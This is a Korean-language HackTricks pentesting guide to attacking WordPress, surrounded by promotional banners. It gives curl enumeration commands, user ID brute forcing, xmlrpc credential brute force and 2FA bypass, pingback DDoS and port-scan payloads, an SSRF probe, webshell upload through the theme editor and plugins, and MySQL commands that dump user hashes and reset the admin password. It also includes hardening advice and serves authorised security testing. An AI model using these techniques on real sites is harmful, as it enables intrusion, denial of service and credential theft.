# 워드프레스
htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**! HackTricks를 지원하는 다른 방법: * **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요. * **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ 오늘 바로 액세스하세요: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## 기본 정보 **업로드된** 파일은 여기로 이동합니다: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\ **테마 파일은 /wp-content/themes/에** 있으므로 테마의 일부 php를 변경하여 RCE를 얻으려면 해당 경로를 사용할 수 있습니다. 예를 들어: **twentytwelve 테마**를 사용하여 **404.php** 파일에 액세스할 수 있습니다: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\ **다른 유용한 URL은:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) **wp-config.php**에서 데이터베이스의 루트 암호를 찾을 수 있습니다. 확인할 기본 로그인 경로: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **주요 워드프레스 파일** * `index.php` * `license.txt`에는 설치된 워드프레스 버전과 같은 유용한 정보가 포함되어 있습니다. * `wp-activate.php`는 새로운 워드프레스 사이트를 설정할 때 이메일 활성화 프로세스에 사용됩니다. * 로그인 폴더(숨기기 위해 이름이 변경될 수 있음): * `/wp-admin/login.php` * `/wp-admin/wp-login.php` * `/login.php` * `/wp-login.php` * `xmlrpc.php`는 WordPress의 기능을 나타내는 파일로, HTTP를 전송 메커니즘으로 사용하고 인코딩 메커니즘으로 XML을 사용합니다. 이러한 유형의 통신은 WordPress [REST API](https://developer.wordpress.org/rest-api/reference)에 의해 대체되었습니다. * `wp-content` 폴더는 플러그인 및 테마가 저장되는 주요 디렉토리입니다. * `wp-content/uploads/`는 플랫폼에 업로드된 모든 파일이 저장되는 디렉토리입니다. * `wp-includes/`는 인증서, 글꼴, JavaScript 파일 및 위젯과 같은 코어 파일이 저장되는 디렉토리입니다. * `wp-sitemap.xml`은 워드프레스 버전 5.5 이상에서 Worpress가 모든 공개 게시물 및 공개 쿼리 가능한 게시 유형 및 분류에 대한 사이트맵 XML 파일을 생성합니다. **포스트 익스플로잇레이션** * `wp-config.php` 파일에는 WordPress가 데이터베이스에 연결하는 데 필요한 정보인 데이터베이스 이름, 데이터베이스 호스트, 사용자 이름 및 암호, 인증 키 및 솔트, 데이터베이스 테이블 접두사가 포함되어 있습니다. 이 구성 파일은 문제 해결에 유용한 DEBUG 모드를 활성화하는 데도 사용할 수 있습니다. ### 사용자 권한 * **관리자** * **편집자**: 자신과 다른 사람의 게시물을 게시하고 관리합니다. * **작가**: 자신의 게시물을 게시하고 관리합니다. * **기고자**: 자신의 게시물을 작성하고 관리하지만 게시할 수는 없습니다. * **구독자**: 게시물을 둘러보고 프로필을 편집할 수 있습니다. ## **수동 열거** ### **워드프레스 버전 확인** `/license.txt` 또는 `/readme.html` 파일을 찾을 수 있는지 확인하세요. 페이지의 **소스 코드**(예: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)) 내에서: * grep ```bash curl https://victim.com/ | grep 'content="WordPress' ``` * `meta name` ![](<../../.gitbook/assets/image (343).png>) * CSS 링크 파일 ![](<../../.gitbook/assets/image (344).png>) * JavaScript 파일 ![](<../../.gitbook/assets/image (346).png>) ### 플러그인 가져오기 {% code overflow="wrap" %} ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ### 테마 가져오기 {% 코드 오버플로우="랩" %} ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ### 일반적으로 버전 추출 {% endcode %} ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` {% endcode %}
\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ 오늘 바로 액세스하세요: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## 활성 열거 ### 플러그인 및 테마 아마도 모든 플러그인 및 테마를 찾을 수는 없을 것입니다. 모든 것을 발견하려면 **플러그인 및 테마 목록을 적극적으로 브루트 포스**해야 합니다 (다행히도 이 목록을 포함하는 자동화된 도구가 있습니다). ### 사용자 **ID 브루트** WordPress 사이트에서 유효한 사용자를 얻으려면 사용자 ID를 브루트 포스해야 합니다: ``` curl -s -I -X GET http://blog.example.com/?author=1 ``` 만약 응답이 **200** 또는 **30X**이면, 해당 id가 **유효**하다는 것을 의미합니다. 응답이 **400**이면, id가 **유효하지 않습니다**. **wp-json** 사용자 정보를 쿼리하여 얻을 수도 있습니다. ``` curl http://blog.example.com/wp-json/wp/v2/users ``` 다른 사용자에 관한 정보를 공개할 수 있는 `/wp-json/` 엔드포인트는 다음과 같습니다: ``` curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` 이 엔드포인트는 게시물을 작성한 사용자만 노출됩니다. **이 기능을 활성화한 사용자에 대한 정보만 제공됩니다**. 또한 **/wp-json/wp/v2/pages**에서 IP 주소가 노출될 수 있습니다. #### 로그인 사용자 이름 열거 **`/wp-login.php`**에 로그인할 때 **메시지**는 **지정된 사용자 이름이 존재하는지 여부에 따라 다릅니다**. ### XML-RPC `xml-rpc.php`가 활성화되어 있으면 자격 증명 브루트 포스를 수행하거나 다른 리소스로 DoS 공격을 실행할 수 있습니다. (예를 들어 [여기](https://github.com/relarizky/wpxploit)를 사용하여이 프로세스를 자동화 할 수 있습니다). 활성화되어 있는지 확인하려면 _**/xmlrpc.php**_에 액세스하고 이 요청을 보냅니다: **확인** ```markup system.listMethods ``` ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) **자격 증명 브루트포스** **`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 자격 증명을 브루트포스하는 데 사용할 수 있는 몇 가지 방법입니다. 이 중 하나를 찾을 수 있다면 다음과 같이 보낼 수 있습니다: ```markup wp.getUsersBlogs admin pass ``` 200 코드 응답 내부에 있는 메시지 _"잘못된 사용자 이름 또는 비밀번호"_은 자격 증명이 유효하지 않을 때 나타납니다. ![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png>) ![](<../../.gitbook/assets/image (102).png>) 올바른 자격 증명을 사용하면 파일을 업로드할 수 있습니다. 응답에는 경로가 표시됩니다 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```markup wp.uploadFile 1 username password name filename.jpg type mime/type bits ``` 또한 **`system.multicall`**을 사용하여 여러 자격 증명을 동시에 시도할 수 있기 때문에 자격 증명을 빠르게 브루트 포스할 수 있는 **보다 빠른 방법**이 있습니다:
**2FA 우회** 이 방법은 프로그램을 위한 것이며 사람을 위한 것이 아니며 오래되어 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명을 가지고 있지만 본 입구가 2FA로 보호되어 있다면, **xmlrpc.php를 남용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을 수도** 있습니다. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s)에서 설명한 대로 RCE에 도달할 수도 있습니다. **DDoS 또는 포트 스캔** 목록 내에서 _**pingback.ping**_ 메서드를 찾을 수 있다면, Wordpress에 임의의 요청을 보내도록 할 수 있습니다.\ 이를 사용하여 수천 개의 Wordpress **사이트**가 한 **위치**에 **액세스**하도록 요청하거나, **Wordpress**가 일부 내부 **네트워크**를 **스캔**하도록 만들 수 있습니다(임의의 포트를 지정할 수 있음). ```markup pingback.ping http://: http:// ``` ![](../../.gitbook/assets/1_JaUYIZF8ZjDGGB7ocsZC-g.png) 만약 **faultCode** 값이 **0** (17)보다 **큰** 경우, 해당 포트가 열려 있다는 것을 의미합니다. **`system.multicall`**의 사용법을 살펴보고, 이 방법을 악용하여 DDoS를 유발하는 방법을 배워보세요. **DDoS** ```markup pingback.ping http://target/ http://yoursite.com/and_some_valid_blog_post_url ``` ![](<../../.gitbook/assets/image (103).png>) ### wp-cron.php DoS 이 파일은 일반적으로 워드프레스 사이트의 루트 아래에 존재합니다: **`/wp-cron.php`**\ 이 파일에 **액세스**하면 "**무거운**" MySQL **쿼리**가 수행되므로, **공격자**가 **DoS**를 **발생**시키는 데 사용할 수 있습니다.\ 또한 기본적으로 `wp-cron.php`은 모든 페이지 로드(클라이언트가 워드프레스 페이지를 요청할 때마다)에서 호출되며, 고트래픽 사이트에서 문제를 일으킬 수 있습니다 (DoS). Wp-Cron을 비활성화하고 호스트 내에서 필요한 작업을 정기적으로 수행하는 실제 cronjob을 생성하는 것이 권장됩니다. ### /wp-json/oembed/1.0/proxy - SSRF _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_에 액세스를 시도하면 워드프레스 사이트가 요청을 보낼 수 있습니다. 작동하지 않을 때의 응답은 다음과 같습니다: ![](<../../.gitbook/assets/image (184) (1).png>) ### SSRF {% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %} 이 도구는 **methodName: pingback.ping**을 확인하고 **/wp-json/oembed/1.0/proxy** 경로를 찾아 존재하는 경우 이를 악용하려고 시도합니다. ### Automatic Tools ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ```
\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ 오늘 바로 액세스하세요: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## 비트를 덮어쓰기로 액세스 얻기 실제 공격보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서는 워드프레스 파일에서 1 비트를 뒤집을 수 있습니다. 따라서 파일 `/var/www/html/wp-includes/user.php`의 위치 `5389`를 뒤집어서 NOT (`!`) 연산을 NOP로 만들 수 있습니다. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **패널 RCE** **사용된 테마의 php 수정 (관리자 자격 증명 필요)** 외관 → 테마 편집기 → 404 템플플릿 (오른쪽에 위치) php 쉘을 위한 내용 변경: ![](<../../.gitbook/assets/image (21) (1) (1).png>) 인터넷에서 어떻게 해당 업데이트된 페이지에 액세스할 수 있는지 검색하. 이 경우 여기로 액세스해: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF 다음을 사용할 수 있습니다: ``` use exploit/unix/webapp/wp_admin_shell_upload ``` ## 플러그인 RCE ### PHP 플러그인 플러그인으로 .php 파일을 업로드할 수 있습니다.\ 예를 들어 다음과 같이 php 백도어를 만듭니다: ![](<../../.gitbook/assets/image (407).png>) 그런 다음 새 플러그인을 추가합니다: ![](<../../.gitbook/assets/image (409).png>) 플러그인을 업로드하고 지금 설치를 누릅니다: ![](<../../.gitbook/assets/image (411).png>) Procced를 클릭합니다: ![](<../../.gitbook/assets/image (412).png>) 아마도 이것은 외관상 아무것도 하지 않을 것입니다. 그러나 미디어로 이동하면 업로드된 쉘을 볼 수 있습니다: ![](<../../.gitbook/assets/image (413).png>) 액세스하면 역술을 실행할 URL을 볼 수 있습니다: ![](<../../.gitbook/assets/image (414).png>) ### 악성 플러그인 업로드 및 활성화 이 방법은 취약하다고 알려진 악성 플러그인을 설치하고 웹 쉘을 얻기 위해 악용할 수 있는 방법입니다. 이 프로세스는 다음과 같이 WordPress 대시보드를 통해 수행됩니다: 1. **플러그인 획득**: 플러그인은 [**여기**](https://www.exploit-db.com/exploits/36374)와 같은 Exploit DB와 같은 소스에서 얻습니다. 2. **플러그인 설치**: * WordPress 대시보드로 이동한 다음 `대시보드 > 플러그인 > 플러그인 업로드`로 이동합니다. * 다운로드한 플러그인의 zip 파일을 업로드합니다. 3. **플러그인 활성화**: 플러그인이 성공적으로 설치되면 대시보드를 통해 활성화해야 합니다. 4. **악용**: * "reflex-gallery" 플러그인이 설치되고 활성화된 경우 취약점을 악용할 수 있습니다. * Metasploit 프레임워크는 이 취약점에 대한 악용을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행하여 meterpreter 세션을 설정하여 사이트에 무단 액세스를 부여할 수 있습니다. * WordPress 사이트를 악용하는 다양한 방법 중 하나임을 언급합니다. 콘텐츠에는 WordPress 대시보드에서 플러그인을 설치하고 활성화하는 단계를 보여주는 시각적 지원이 포함되어 있습니다. 그러나 이러한 취약점을 악용하는 것은 적절한 승인 없이는 불법이며 윤리적이지 않습니다. 이 정보는 책임 있게 사용되어야 하며 명시적인 허가를 받은 펜테스팅과 같은 법적 맥락에서만 사용되어야 합니다. **더 자세한 단계는 확인하세요:** [**https://www.hackingarticles.in/wordpress-reverse-shell/\*\***](https://www.hackingarticles.in/wordpress-reverse-shell/) ## 사후 악용 사용자 이름과 비밀번호 추출: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` 비밀번호 변경: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` ## 워드프레스 보호 ### 정기적인 업데이트 워드프레스, 플러그인 및 테마가 최신 상태인지 확인하십시오. 또한 wp-config.php에서 자동 업데이트가 활성화되어 있는지 확인하십시오: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` 또한 **신뢰할 수 있는 워드프레스 플러그인과 테마만 설치**하십시오. ### 보안 플러그인 * [**Wordfence Security**](https://wordpress.org/plugins/wordfence/) * [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) * [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/) ### **기타 권장 사항** * 기본 **admin** 사용자 제거 * **강력한 암호** 및 **2단계 인증** 사용 * 주기적으로 사용자 **권한 검토** * 브루트 포스 공격 방지를 위해 **로그인 시도 제한** * **`wp-admin.php`** 파일 이름 변경 및 내부 또는 특정 IP 주소에서만 액세스 허용
\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우 자동화**를 쉽게 구축하십시오.\ 오늘 바로 액세스하세요: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)! HackTricks를 지원하는 다른 방법: * **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하고 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션을 살펴보세요 * 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요. * **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.